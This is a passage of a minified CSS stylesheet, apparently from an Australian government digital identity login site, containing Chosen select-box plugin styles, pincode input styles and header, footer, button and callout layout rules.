opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*!
Chosen, a Select Box Enhancer for jQuery and Prototype
by Patrick Filler for Harvest, http://getharvest.com

Version 1.6.2
Full source at https://github.com/harvesthq/chosen
Copyright (c) 2011-2016 Harvest http://getharvest.com

MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md
This file is generated by `grunt build`, do not edit it by hand.
*/.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width 